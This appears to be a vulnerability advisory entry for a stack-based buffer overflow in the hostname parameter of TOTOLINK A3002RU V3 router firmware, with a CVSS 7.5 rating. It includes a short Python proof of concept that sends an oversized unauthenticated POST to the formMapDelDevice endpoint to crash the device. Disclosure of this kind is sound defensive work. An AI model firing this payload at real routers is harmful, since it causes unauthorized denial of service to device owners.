TOTOLINK A3002RU V3 <= V3.0.0-B20220304.1804 was discovered to contain a stack-based buffer overflow via the hostname parameter in the formMapDelDevice function.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
TOTOLINK A3002RU V3 <= V3.0.0-B20220304.1804
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target configuration
target_url = "http://<TARGET_IP>/boafrm/formMapDelDevice"
# Malicious payload to trigger stack overflow
# Adjust payload size based on specific buffer analysis
payload = {
"hostname": "A" * 1000 # Example long string
}
try:
# Send POST request without authentication
response = requests.post(target_url, data=payload, timeout=5)
print(f"Request sent with status code: {response.status_code}")
# Check if device is responsive (DoS check)
except Exception as e:
print(f"An error occurred: {e}")